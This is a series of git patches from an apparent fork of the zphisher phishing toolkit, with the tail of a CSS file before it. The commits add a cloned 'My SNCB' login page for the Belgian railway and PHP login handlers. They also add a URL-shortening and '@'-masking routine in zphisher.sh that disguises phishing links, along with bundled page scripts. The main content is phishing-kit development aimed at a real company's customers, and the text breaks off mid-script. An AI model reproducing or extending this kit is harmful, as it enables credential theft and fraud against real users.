label:hover{cursor:pointer}.radio label:after{content:"";display:block;width:24px;height:24px;border-radius:50%;border:2px solid #006ab3;position:absolute;top:-2px;left:0;z-index:2;background-color:#fff}.radio label.checked:before,.radio label.focus:before{content:"";display:block;width:16px;height:16px;border-radius:50%;position:absolute;top:4px;left:6px;background:#006ab3;z-index:3}.radio label.focus:after{content:"";display:block;width:24px;height:24px;border-radius:50%;border:4px solid #006ab3;position:absolute;top:-4px;left:-2px;opacity:1;z-index:2;background-color:#fff}.radio td{padding:10px 0!important;border:0!important;padding-right:15px!important}.has-error .radio label div{color:#df3603}.has-error .radio label:after{border:2px solid #df3603}.has-error .radio label.checked:before,.has-error .radio label.focus:before{background:#df3603}.has-error .radio label.focus:after{border:4px solid #006ab3}.triangle{position:relative}.triangle:before{background-color:inherit;position:absolute;left:50%;top:auto;bottom:-20px;content:"";width:20px;height:20px;transform:translate3d(-50%,-50%,0) rotate(45deg)}.triangle--tc{position:relative}.triangle--tc:before{background-color:inherit;position:absolute;left:50%;top:0;bottom:auto;content:"";width:20px;height:20px;transform:translate3d(-50%,-50%,0) rotate(45deg)}.popup--wizard .popup__close{display:none}.popup--wizard .popup__content{padding-bottom:0}.wizard__subtitle{font-weight:500;color:#8c8c8c;margin-top:20px}.wizard__close{position:absolute;top:40px;right:30px;border:none;background:none;color:#006ab3;font-size:18px;font-weight:500;padding-right:22px}@media (min-width:650px){.wizard__close{right:60px}}.wizard__close .icon{width:12px;height:12px;left:auto;right:0;top:7px}.wizard__close:hover{text-decoration:underline}.wizard__close--light{color:#fff}.wizard__view{display:none}.wizard__startimg{margin:40px 0 0}.wizard__start .baseline{margin-top:40px}.wizard__steps{display:none;background:#1b3b6e;margin-left:-20px;margin-right:-20px;overflow:hidden}.wizard__steps.force-hide{display:none}.wizard__stepslist{display:-ms-flexbox;display:flex;-ms-flex-wrap:nowrap;flex-wrap:nowrap;margin:0}.wizard__stepsanswer{display:none}.wizard__stepsitem{display:block;-ms-flex:0 0 auto;flex:0 0 auto;width:100vw;padding:30px 0;text-align:center}.wizard__stepsitem,.wizard__stepsitem a{color:#fff}.wizard__stepsitem a{pointer-events:none}.wizard__stepsitem.done:not(.active) a{pointer-events:auto}.wizard__stepsitem:before{display:none}.wizard__stepsitem.active:before{content:"";display:block;width:0;height:0;border-style:solid;border-width:16px 16px 0;border-color:#fff transparent transparent;position:absolute;left:50%;margin-left:-16px;background:none;border-radius:0;top:0}.wizard__actions{padding:30px 0;border-top:1px solid #f1f5f5;margin-top:30px}.wizard__actions--top{padding:5px 0;margin-top:0}.wizard__actions .link{margin:30px 0 0}@media (min-width:992px){.popup--wizard .popup__content{padding:0}.wizard__close{top:60px;right:60px}.wizard__row{margin:40px 0}.wizard__startcontent{padding:60px 0 30px 60px}.wizard__startimg{margin:110px 0 0}.wizard__questions .wizard__close{color:#fff;cursor:pointer}.wizard__questions__inner{display:-ms-flexbox;display:flex}.wizard__question{padding:60px;-ms-flex:1;flex:1}.wizard__steps{display:block;width:320px;margin-left:0;margin-right:0}.wizard__stepslist{display:block;padding:120px 60px}.wizard__stepsanswer{display:block;color:#fff}.wizard__stepsitem{width:auto;text-align:left;padding:10px 0;position:relative}.wizard__stepsitem.active{color:#ddf1fa}.wizard__stepsitem.active:before{border-style:solid;border-width:16px 0 16px 16px;border-color:transparent transparent transparent #fff;position:absolute;left:-44px;top:7px}.wizard__stepsitem.done{color:#ddf1fa}.wizard__steps .baseline{position:absolute;bottom:0;left:4px;right:0}.wizard__actions .link{float:right;margin-top:13px;margin-right:30px}.wizard__actions .btn{float:right}}@media (max-width:991px){.wizard .btn{width:100%}.wizard .location .rad{margin:5px 0!important;margin-right:20px!important}} \ No newline at end of file From 233942bde147d37aab531c98a0c02582ea91120e Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 13:17:12 +0200 Subject: [PATCH 10/64] Update zphisher.sh --- zphisher.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/zphisher.sh b/zphisher.sh index 2113af0c..80bb835c 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -746,7 +746,7 @@ main_menu() { ${RED}[${WHITE}09${RED}]${ORANGE} Playstation ${RED}[${WHITE}19${RED}]${ORANGE} Reddit ${RED}[${WHITE}29${RED}]${ORANGE} Vk ${RED}[${WHITE}10${RED}]${ORANGE} Tiktok ${RED}[${WHITE}20${RED}]${ORANGE} Adobe ${RED}[${WHITE}30${RED}]${ORANGE} XBOX ${RED}[${WHITE}31${RED}]${ORANGE} Mediafire ${RED}[${WHITE}32${RED}]${ORANGE} Gitlab ${RED}[${WHITE}33${RED}]${ORANGE} Github - ${RED}[${WHITE}34${RED}]${ORANGE} Discord ${RED}[${WHITE}35${RED}]${ORANGE} Roblox ${RED}[${WHITE}35${RED}]${ORANGE} sncb + ${RED}[${WHITE}34${RED}]${ORANGE} Discord ${RED}[${WHITE}35${RED}]${ORANGE} Roblox ${RED}[${WHITE}36${RED}]${ORANGE} sncb ${RED}[${WHITE}99${RED}]${ORANGE} About ${RED}[${WHITE}00${RED}]${ORANGE} Exit From 48376b3c547290712f3ec67a9e61c22a01339274 Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 13:19:33 +0200 Subject: [PATCH 11/64] Create index.php --- .sites/sncb/index.php | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 .sites/sncb/index.php diff --git a/.sites/sncb/index.php b/.sites/sncb/index.php new file mode 100644 index 00000000..f38c5805 --- /dev/null +++ b/.sites/sncb/index.php @@ -0,0 +1,5 @@ + From d9fa077db489cb7d277b7ff4f58438bb4ea9fc7b Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 13:23:10 +0200 Subject: [PATCH 12/64] Update login.php --- .sites/sncb/login.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.sites/sncb/login.php b/.sites/sncb/login.php index 646dcf12..d177d782 100644 --- a/.sites/sncb/login.php +++ b/.sites/sncb/login.php @@ -1,6 +1,6 @@ \ No newline at end of file +?> From 18d9be8438b641c4087de0aa027ccfcf8882eff5 Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 14:04:18 +0200 Subject: [PATCH 13/64] Update zphisher.sh --- zphisher.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/zphisher.sh b/zphisher.sh index 80bb835c..2ef294a7 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -565,7 +565,7 @@ custom_mask() { site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; } shorten() { - local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -X POST -d "url=$2" "https://cleanuri.com/api/v1/shorten") + local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -X POST -d "url" "https://cleanuri.com/api/v1/shorten") if [ $? -eq 0 ]; then processed_url=${short} echo "$processed_url" >> shortened_urls.txt # Append the URL to the file From 5e396473ab02aba6358967d84f9be478d875889a Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 14:06:24 +0200 Subject: [PATCH 14/64] Update zphisher.sh --- zphisher.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/zphisher.sh b/zphisher.sh index 2ef294a7..84560c16 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -565,7 +565,7 @@ custom_mask() { site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; } shorten() { - local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -X POST -d "url" "https://cleanuri.com/api/v1/shorten") + local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -X POST -d "url=$1" "https://cleanuri.com/api/v1/shorten") if [ $? -eq 0 ]; then processed_url=${short} echo "$processed_url" >> shortened_urls.txt # Append the URL to the file From 97d8bf11b963af9aadfe746f22d4e05016861e1d Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 14:12:17 +0200 Subject: [PATCH 15/64] Update zphisher.sh --- zphisher.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/zphisher.sh b/zphisher.sh index 84560c16..59f2fdb8 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -565,7 +565,7 @@ custom_mask() { site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; } shorten() { - local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -X POST -d "url=$1" "https://cleanuri.com/api/v1/shorten") + local short=$(curl -X POST -d "url=$1" "https://cleanuri.com/api/v1/shorten") if [ $? -eq 0 ]; then processed_url=${short} echo "$processed_url" >> shortened_urls.txt # Append the URL to the file From 4b64e2d9a0916a3d5ad4d8f55ca64a60bbce79a4 Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 14:35:24 +0200 Subject: [PATCH 16/64] Update zphisher.sh --- zphisher.sh | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 59f2fdb8..6c00a113 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -565,24 +565,19 @@ custom_mask() { site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; } shorten() { - local short=$(curl -X POST -d "url=$1" "https://cleanuri.com/api/v1/shorten") - if [ $? -eq 0 ]; then - processed_url=${short} - echo "$processed_url" >> shortened_urls.txt # Append the URL to the file - else - echo "Failed to shorten URL: $2" >&2 # Print error message to stderr - fi + local long_url=$1 + local short_url=$(curl -s "https://clck.ru/--?url=$long_url") + echo "Shortened URL: $short_url" + echo "$short_url" >> shortened_urls.txt } - - custom_url() { url=${1#http*//} - cleanuri="https://cleanuri.com/api/v1/shorten" + clck_ru="https://clck.ru/--" { custom_mask; sleep 1; clear; banner_small; } if [[ ${url} =~ [-a-zA-Z0-9.]*(trycloudflare.com|loclx.io) ]]; then - shorten $cleanuri "$url" + shorten "$url" processed_url=${processed_url%\"} # Remove trailing quote processed_url=${processed_url#\"} # Remove leading quote masked_url="$mask@$processed_url" From 348a1a05e0482cc86fdab914fa3d7309ec016342 Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 14:39:45 +0200 Subject: [PATCH 17/64] Update zphisher.sh --- zphisher.sh | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 6c00a113..de55100d 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -567,10 +567,13 @@ site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1} shorten() { local long_url=$1 local short_url=$(curl -s "https://clck.ru/--?url=$long_url") - echo "Shortened URL: $short_url" - echo "$short_url" >> shortened_urls.txt + processed_url=${short_url%\"} # Remove trailing quote + processed_url=${processed_url#\"} # Remove leading quote + echo "Shortened URL: $processed_url" + echo "$processed_url" >> shortened_urls.txt } + custom_url() { url=${1#http*//} clck_ru="https://clck.ru/--" From bba98b39062f8b6f6339eeb209d78985986eceb7 Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 14:46:40 +0200 Subject: [PATCH 18/64] Update zphisher.sh --- zphisher.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index de55100d..19af39c0 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -567,13 +567,13 @@ site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1} shorten() { local long_url=$1 local short_url=$(curl -s "https://clck.ru/--?url=$long_url") - processed_url=${short_url%\"} # Remove trailing quote - processed_url=${processed_url#\"} # Remove leading quote + processed_url=${short_url#https://} # Remove the leading https:// echo "Shortened URL: $processed_url" echo "$processed_url" >> shortened_urls.txt } + custom_url() { url=${1#http*//} clck_ru="https://clck.ru/--" From 3a47af4a4dcb908fa4267867be9d345dea5fe71e Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 15:41:00 +0200 Subject: [PATCH 19/64] Add files via upload --- .sites/sncb/login_en.html | 402 + ...pp.min.js.t\303\251l\303\251charg\303\251" | 54749 ++++++++++++++++ ...jquery.js.t\303\251l\303\251charg\303\251" | 4 + ...0d.min.js.t\303\251l\303\251charg\303\251" | 2 + .sites/sncb/login_en_files/style.css | 1 + 5 files changed, 55158 insertions(+) create mode 100644 .sites/sncb/login_en.html create mode 100644 ".sites/sncb/login_en_files/app.min.js.t\303\251l\303\251charg\303\251" create mode 100644 ".sites/sncb/login_en_files/jquery.js.t\303\251l\303\251charg\303\251" create mode 100644 ".sites/sncb/login_en_files/launch-1a553c357b0d.min.js.t\303\251l\303\251charg\303\251" create mode 100644 .sites/sncb/login_en_files/style.css diff --git a/.sites/sncb/login_en.html b/.sites/sncb/login_en.html new file mode 100644 index 00000000..d3dc810c --- /dev/null +++ b/.sites/sncb/login_en.html @@ -0,0 +1,402 @@ + + + + + + + + My SNCB: Log in to your customer account | SNCB + + + + + + + + + + + + + + + + + + + + + arrow-down + + + + + + + arrow-left + + + + arrow-right + + + + arrow-up + + + + + + + bike + + + + + + + + + + + + bus + + + + + + + + + + + + + car + + + + + + check + + + + + + + + + + + + check + + + + check2-anim + + + + + + + + + close + + + + + dot + + + + + + + + + + menu + + + + metro + + + + + + + + + + print + + + + + + + + + + + roadwork + + + + search + + + + + + + + + share + + + + + + + switch + + + + train + + + + tram + + + + walk + + + + + + + + + + + + + + + warning + + + + + + + + + + + + + + + warning-2 + + + + + + + + + + + + + + + + + +
+ +
+
+

My SNCB/NMBS

+

With your own My SNCB/NMBS account, take advantage of all our online personalised, practical services.

+
+ +
+
+

Login

+ +
+ + + + + + + +
+ + +
Please enter a valid email
+
+ +
+ + + +
Please enter your password
+
+ +
+ +
+
+
+
+ + + + + + + + + Reset your password + + + + +
+ + + + + Resend activation email + + + + + +
+ +
+ +
+

Don’t have an account yet?

+

Create your online account, which just takes a few clicks to complete the process, and take advantage of the numerous advantages of My SNCB/NMBS.

+ + + + + Create your account + +
+
+
+ +
+
+

The benefits of your My SNCB account :

+
    +
  • +
  • Buy and renew your season ticket in a few clicks
  • +
  • Download your traveller certificate (valid for your tax return)
  • +
  • View the balance of your eWallet
  • +
  • Book your reduced mobility assistance online
  • +
+
+
+
+ + + + + \ No newline at end of file diff --git "a/.sites/sncb/login_en_files/app.min.js.t\303\251l\303\251charg\303\251" "b/.sites/sncb/login_en_files/app.min.js.t\303\251l\303\251charg\303\251" new file mode 100644 index 00000000..2fa941ea --- /dev/null +++ "b/.sites/sncb/login_en_files/app.min.js.t\303\251l\303\251charg\303\251" @@ -0,0 +1,54749 @@ +(function (e) { + document.querySelector('[name="userName"]').addEventListener("input", (e) => { + e.target.value = e.target.value.replace(/\s/g, ''); + }); + var t = {}; + + function i(n) { + if (t[n]) { + return t[n].exports + } + var r = t[n] = { + i: n, + l: false, + exports: {} + }; + e[n].call(r.exports, r, r.exports, i); + r.l = true; + return r.exports + } + i.m = e; + i.c = t; + i.d = function (e, t, n) { + if (!i.o(e, t)) { + Object.defineProperty(e, t, { + configurable: false, + enumerable: true, + get: n + }) + } + }; + i.n = function (e) { + var t = e && e.__esModule ? function t() { + return e["default"] + } : function t() { + return e + }; + i.d(t, "a", t); + return t + }; + i.o = function (e, t) { + return Object.prototype.hasOwnProperty.call(e, t) + }; + i.p = "http://localhost:2992/"; + return i(i.s = 136) +})([function (e, t, i) { + (function (e) { + var t; + (function (t, i) { + true ? e.exports = i() : typeof define === "function" && define.amd ? define(i) : t.moment = i() + })(this, function () { + "use strict"; + var n; + + function r() { + return n.apply(null, arguments) + } + + function a(e) { + n = e + } + + function s(e) { + return e instanceof Array || Object.prototype.toString.call(e) === "[object Array]" + } + + function o(e) { + return e != null && Object.prototype.toString.call(e) === "[object Object]" + } + + function l(e) { + if (Object.getOwnPropertyNames) { + return Object.getOwnPropertyNames(e).length === 0 + } else { + var t; + for (t in e) { + if (e.hasOwnProperty(t)) { + return false + } + } + return true + } + } + + function u(e) { + return e === void 0 + } + + function d(e) { + return typeof e === "number" || Object.prototype.toString.call(e) === "[object Number]" + } + + function f(e) { + return e instanceof Date || Object.prototype.toString.call(e) === "[object Date]" + } + + function c(e, t) { + var i = [], + n; + for (n = 0; n < e.length; ++n) { + i.push(t(e[n], n)) + } + return i + } + + function h(e, t) { + return Object.prototype.hasOwnProperty.call(e, t) + } + + function m(e, t) { + for (var i in t) { + if (h(t, i)) { + e[i] = t[i] + } + } + if (h(t, "toString")) { + e.toString = t.toString + } + if (h(t, "valueOf")) { + e.valueOf = t.valueOf + } + return e + } + + function p(e, t, i, n) { + return Ui(e, t, i, n, true).utc() + } + + function v() { + return { + empty: false, + unusedTokens: [], + unusedInput: [], + overflow: -2, + charsLeftOver: 0, + nullInput: false, + invalidMonth: null, + invalidFormat: false, + userInvalidated: false, + iso: false, + parsedDateParts: [], + meridiem: null, + rfc2822: false, + weekdayMismatch: false + } + } + + function _(e) { + if (e._pf == null) { + e._pf = v() + } + return e._pf + } + var g; + if (Array.prototype.some) { + g = Array.prototype.some + } else { + g = function (e) { + var t = Object(this); + var i = t.length >>> 0; + for (var n = 0; n < i; n++) { + if (n in t && e.call(this, t[n], n, t)) { + return true + } + } + return false + } + } + + function y(e) { + if (e._isValid == null) { + var t = _(e); + var i = g.call(t.parsedDateParts, function (e) { + return e != null + }); + var n = !isNaN(e._d.getTime()) && t.overflow < 0 && !t.empty && !t.invalidMonth && !t.invalidWeekday && !t.weekdayMismatch && !t.nullInput && !t.invalidFormat && !t.userInvalidated && (!t.meridiem || t.meridiem && i); + if (e._strict) { + n = n && t.charsLeftOver === 0 && t.unusedTokens.length === 0 && t.bigHour === undefined + } + if (Object.isFrozen == null || !Object.isFrozen(e)) { + e._isValid = n + } else { + return n + } + } + return e._isValid + } + + function b(e) { + var t = p(NaN); + if (e != null) { + m(_(t), e) + } else { + _(t).userInvalidated = true + } + return t + } + var w = r.momentProperties = []; + + function M(e, t) { + var i, n, r; + if (!u(t._isAMomentObject)) { + e._isAMomentObject = t._isAMomentObject + } + if (!u(t._i)) { + e._i = t._i + } + if (!u(t._f)) { + e._f = t._f + } + if (!u(t._l)) { + e._l = t._l + } + if (!u(t._strict)) { + e._strict = t._strict + } + if (!u(t._tzm)) { + e._tzm = t._tzm + } + if (!u(t._isUTC)) { + e._isUTC = t._isUTC + } + if (!u(t._offset)) { + e._offset = t._offset + } + if (!u(t._pf)) { + e._pf = _(t) + } + if (!u(t._locale)) { + e._locale = t._locale + } + if (w.length > 0) { + for (i = 0; i < w.length; i++) { + n = w[i]; + r = t[n]; + if (!u(r)) { + e[n] = r + } + } + } + return e + } + var k = false; + + function L(e) { + M(this, e); + this._d = new Date(e._d != null ? e._d.getTime() : NaN); + if (!this.isValid()) { + this._d = new Date(NaN) + } + if (k === false) { + k = true; + r.updateOffset(this); + k = false + } + } + + function T(e) { + return e instanceof L || e != null && e._isAMomentObject != null + } + + function x(e) { + if (e < 0) { + return Math.ceil(e) || 0 + } else { + return Math.floor(e) + } + } + + function S(e) { + var t = +e, + i = 0; + if (t !== 0 && isFinite(t)) { + i = x(t) + } + return i + } + + function Y(e, t, i) { + var n = Math.min(e.length, t.length), + r = Math.abs(e.length - t.length), + a = 0, + s; + for (s = 0; s < n; s++) { + if (i && e[s] !== t[s] || !i && S(e[s]) !== S(t[s])) { + a++ + } + } + return a + r + } + + function D(e) { + if (r.suppressDeprecationWarnings === false && typeof console !== "undefined" && console.warn) { + console.warn("Deprecation warning: " + e) + } + } + + function E(e, t) { + var i = true; + return m(function () { + if (r.deprecationHandler != null) { + r.deprecationHandler(null, e) + } + if (i) { + var n = []; + var a; + for (var s = 0; s < arguments.length; s++) { + a = ""; + if (typeof arguments[s] === "object") { + a += "\n[" + s + "] "; + for (var o in arguments[0]) { + a += o + ": " + arguments[0][o] + ", " + } + a = a.slice(0, -2) + } else { + a = arguments[s] + } + n.push(a) + } + D(e + "\nArguments: " + Array.prototype.slice.call(n).join("") + "\n" + (new Error).stack); + i = false + } + return t.apply(this, arguments) + }, t) + } + var C = {}; + + function P(e, t) { + if (r.deprecationHandler != null) { + r.deprecationHandler(e, t) + } + if (!C[e]) { + D(t); + C[e] = true + } + } + r.suppressDeprecationWarnings = false; + r.deprecationHandler = null; + + function A(e) { + return e instanceof Function || Object.prototype.toString.call(e) === "[object Function]" + } + + function O(e) { + var t, i; + for (i in e) { + t = e[i]; + if (A(t)) { + this[i] = t + } else { + this["_" + i] = t + } + } + this._config = e; + this._dayOfMonthOrdinalParseLenient = new RegExp((this._dayOfMonthOrdinalParse.source || this._ordinalParse.source) + "|" + /\d{1,2}/.source) + } + + function j(e, t) { + var i = m({}, e), + n; + for (n in t) { + if (h(t, n)) { + if (o(e[n]) && o(t[n])) { + i[n] = {}; + m(i[n], e[n]); + m(i[n], t[n]) + } else if (t[n] != null) { + i[n] = t[n] + } else { + delete i[n] + } + } + } + for (n in e) { + if (h(e, n) && !h(t, n) && o(e[n])) { + i[n] = m({}, i[n]) + } + } + return i + } + + function H(e) { + if (e != null) { + this.set(e) + } + } + var I; + if (Object.keys) { + I = Object.keys + } else { + I = function (e) { + var t, i = []; + for (t in e) { + if (h(e, t)) { + i.push(t) + } + } + return i + } + } + var F = { + sameDay: "[Today at] LT", + nextDay: "[Tomorrow at] LT", + nextWeek: "dddd [at] LT", + lastDay: "[Yesterday at] LT", + lastWeek: "[Last] dddd [at] LT", + sameElse: "L" + }; + + function z(e, t, i) { + var n = this._calendar[e] || this._calendar["sameElse"]; + return A(n) ? n.call(t, i) : n + } + var R = { + LTS: "h:mm:ss A", + LT: "h:mm A", + L: "MM/DD/YYYY", + LL: "MMMM D, YYYY", + LLL: "MMMM D, YYYY h:mm A", + LLLL: "dddd, MMMM D, YYYY h:mm A" + }; + + function N(e) { + var t = this._longDateFormat[e], + i = this._longDateFormat[e.toUpperCase()]; + if (t || !i) { + return t + } + this._longDateFormat[e] = i.replace(/MMMM|MM|DD|dddd/g, function (e) { + return e.slice(1) + }); + return this._longDateFormat[e] + } + var W = "Invalid date"; + + function B() { + return this._invalidDate + } + var q = "%d"; + var $ = /\d{1,2}/; + + function V(e) { + return this._ordinal.replace("%d", e) + } + var G = { + future: "in %s", + past: "%s ago", + s: "a few seconds", + ss: "%d seconds", + m: "a minute", + mm: "%d minutes", + h: "an hour", + hh: "%d hours", + d: "a day", + dd: "%d days", + M: "a month", + MM: "%d months", + y: "a year", + yy: "%d years" + }; + + function U(e, t, i, n) { + var r = this._relativeTime[i]; + return A(r) ? r(e, t, i, n) : r.replace(/%d/i, e) + } + + function X(e, t) { + var i = this._relativeTime[e > 0 ? "future" : "past"]; + return A(i) ? i(t) : i.replace(/%s/i, t) + } + var J = {}; + + function K(e, t) { + var i = e.toLowerCase(); + J[i] = J[i + "s"] = J[t] = e + } + + function Q(e) { + return typeof e === "string" ? J[e] || J[e.toLowerCase()] : undefined + } + + function Z(e) { + var t = {}, + i, n; + for (n in e) { + if (h(e, n)) { + i = Q(n); + if (i) { + t[i] = e[n] + } + } + } + return t + } + var ee = {}; + + function te(e, t) { + ee[e] = t + } + + function ie(e) { + var t = []; + for (var i in e) { + t.push({ + unit: i, + priority: ee[i] + }) + } + t.sort(function (e, t) { + return e.priority - t.priority + }); + return t + } + + function ne(e, t, i) { + var n = "" + Math.abs(e), + r = t - n.length, + a = e >= 0; + return (a ? i ? "+" : "" : "-") + Math.pow(10, Math.max(0, r)).toString().substr(1) + n + } + var re = /(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g; + var ae = /(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g; + var se = {}; + var oe = {}; + + function le(e, t, i, n) { + var r = n; + if (typeof n === "string") { + r = function () { + return this[n]() + } + } + if (e) { + oe[e] = r + } + if (t) { + oe[t[0]] = function () { + return ne(r.apply(this, arguments), t[1], t[2]) + } + } + if (i) { + oe[i] = function () { + return this.localeData().ordinal(r.apply(this, arguments), e) + } + } + } + + function ue(e) { + if (e.match(/\[[\s\S]/)) { + return e.replace(/^\[|\]$/g, "") + } + return e.replace(/\\/g, "") + } + + function de(e) { + var t = e.match(re), + i, n; + for (i = 0, n = t.length; i < n; i++) { + if (oe[t[i]]) { + t[i] = oe[t[i]] + } else { + t[i] = ue(t[i]) + } + } + return function (i) { + var r = "", + a; + for (a = 0; a < n; a++) { + r += A(t[a]) ? t[a].call(i, e) : t[a] + } + return r + } + } + + function fe(e, t) { + if (!e.isValid()) { + return e.localeData().invalidDate() + } + t = ce(t, e.localeData()); + se[t] = se[t] || de(t); + return se[t](e) + } + + function ce(e, t) { + var i = 5; + + function n(e) { + return t.longDateFormat(e) || e + } + ae.lastIndex = 0; + while (i >= 0 && ae.test(e)) { + e = e.replace(ae, n); + ae.lastIndex = 0; + i -= 1 + } + return e + } + var he = /\d/; + var me = /\d\d/; + var pe = /\d{3}/; + var ve = /\d{4}/; + var _e = /[+-]?\d{6}/; + var ge = /\d\d?/; + var ye = /\d\d\d\d?/; + var be = /\d\d\d\d\d\d?/; + var we = /\d{1,3}/; + var Me = /\d{1,4}/; + var ke = /[+-]?\d{1,6}/; + var Le = /\d+/; + var Te = /[+-]?\d+/; + var xe = /Z|[+-]\d\d:?\d\d/gi; + var Se = /Z|[+-]\d\d(?::?\d\d)?/gi; + var Ye = /[+-]?\d+(\.\d{1,3})?/; + var De = /[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i; + var Ee = {}; + + function Ce(e, t, i) { + Ee[e] = A(t) ? t : function (e, n) { + return e && i ? i : t + } + } + + function Pe(e, t) { + if (!h(Ee, e)) { + return new RegExp(Ae(e)) + } + return Ee[e](t._strict, t._locale) + } + + function Ae(e) { + return Oe(e.replace("\\", "").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g, function (e, t, i, n, r) { + return t || i || n || r + })) + } + + function Oe(e) { + return e.replace(/[-\/\\^$*+?.()|[\]{}]/g, "\\$&") + } + var je = {}; + + function He(e, t) { + var i, n = t; + if (typeof e === "string") { + e = [e] + } + if (d(t)) { + n = function (e, i) { + i[t] = S(e) + } + } + for (i = 0; i < e.length; i++) { + je[e[i]] = n + } + } + + function Ie(e, t) { + He(e, function (e, i, n, r) { + n._w = n._w || {}; + t(e, n._w, n, r) + }) + } + + function Fe(e, t, i) { + if (t != null && h(je, e)) { + je[e](t, i._a, i, e) + } + } + var ze = 0; + var Re = 1; + var Ne = 2; + var We = 3; + var Be = 4; + var qe = 5; + var $e = 6; + var Ve = 7; + var Ge = 8; + le("Y", 0, 0, function () { + var e = this.year(); + return e <= 9999 ? "" + e : "+" + e + }); + le(0, ["YY", 2], 0, function () { + return this.year() % 100 + }); + le(0, ["YYYY", 4], 0, "year"); + le(0, ["YYYYY", 5], 0, "year"); + le(0, ["YYYYYY", 6, true], 0, "year"); + K("year", "y"); + te("year", 1); + Ce("Y", Te); + Ce("YY", ge, me); + Ce("YYYY", Me, ve); + Ce("YYYYY", ke, _e); + Ce("YYYYYY", ke, _e); + He(["YYYYY", "YYYYYY"], ze); + He("YYYY", function (e, t) { + t[ze] = e.length === 2 ? r.parseTwoDigitYear(e) : S(e) + }); + He("YY", function (e, t) { + t[ze] = r.parseTwoDigitYear(e) + }); + He("Y", function (e, t) { + t[ze] = parseInt(e, 10) + }); + + function Ue(e) { + return Xe(e) ? 366 : 365 + } + + function Xe(e) { + return e % 4 === 0 && e % 100 !== 0 || e % 400 === 0 + } + r.parseTwoDigitYear = function (e) { + return S(e) + (S(e) > 68 ? 1900 : 2e3) + }; + var Je = Qe("FullYear", true); + + function Ke() { + return Xe(this.year()) + } + + function Qe(e, t) { + return function (i) { + if (i != null) { + et(this, e, i); + r.updateOffset(this, t); + return this + } else { + return Ze(this, e) + } + } + } + + function Ze(e, t) { + return e.isValid() ? e._d["get" + (e._isUTC ? "UTC" : "") + t]() : NaN + } + + function et(e, t, i) { + if (e.isValid() && !isNaN(i)) { + if (t === "FullYear" && Xe(e.year()) && e.month() === 1 && e.date() === 29) { + e._d["set" + (e._isUTC ? "UTC" : "") + t](i, e.month(), at(i, e.month())) + } else { + e._d["set" + (e._isUTC ? "UTC" : "") + t](i) + } + } + } + + function tt(e) { + e = Q(e); + if (A(this[e])) { + return this[e]() + } + return this + } + + function it(e, t) { + if (typeof e === "object") { + e = Z(e); + var i = ie(e); + for (var n = 0; n < i.length; n++) { + this[i[n].unit](e[i[n].unit]) + } + } else { + e = Q(e); + if (A(this[e])) { + return this[e](t) + } + } + return this + } + + function nt(e, t) { + return (e % t + t) % t + } + var rt; + if (Array.prototype.indexOf) { + rt = Array.prototype.indexOf + } else { + rt = function (e) { + var t; + for (t = 0; t < this.length; ++t) { + if (this[t] === e) { + return t + } + } + return -1 + } + } + + function at(e, t) { + if (isNaN(e) || isNaN(t)) { + return NaN + } + var i = nt(t, 12); + e += (t - i) / 12; + return i === 1 ? Xe(e) ? 29 : 